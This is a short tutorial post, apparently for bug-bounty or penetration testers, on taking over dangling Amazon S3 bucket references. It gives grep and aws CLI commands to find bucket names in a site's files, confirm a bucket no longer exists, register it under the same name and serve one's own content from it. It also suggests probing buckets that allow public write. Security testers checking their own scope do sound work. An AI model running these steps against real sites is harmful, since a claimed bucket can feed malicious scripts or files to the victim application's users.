Find and take over dangling S3 references

Aug 6, 2026 · 1 min read

Enumerate bucket names from HTML, JS, and DNS. A reference to a bucket that no longer exists is claimable in the right region.

bash

grep -roE "[a-z0-9.-]+.s3[.-][a-z0-9-]*.amazonaws.com" site/
aws s3 ls s3://target-assets 2>&1   # NoSuchBucket means claimable

Claim it and serve your content.

bash

aws s3 mb s3://target-assets --region us-east-1
aws s3 website s3://target-assets --index-document index.html

Pro note: also test buckets that exist but allow public write or list; those leak or accept malicious objects without a takeover. Confirm the app actually loads the bucket (script include, image, download) so the finding has real impact rather than a lone claimable name.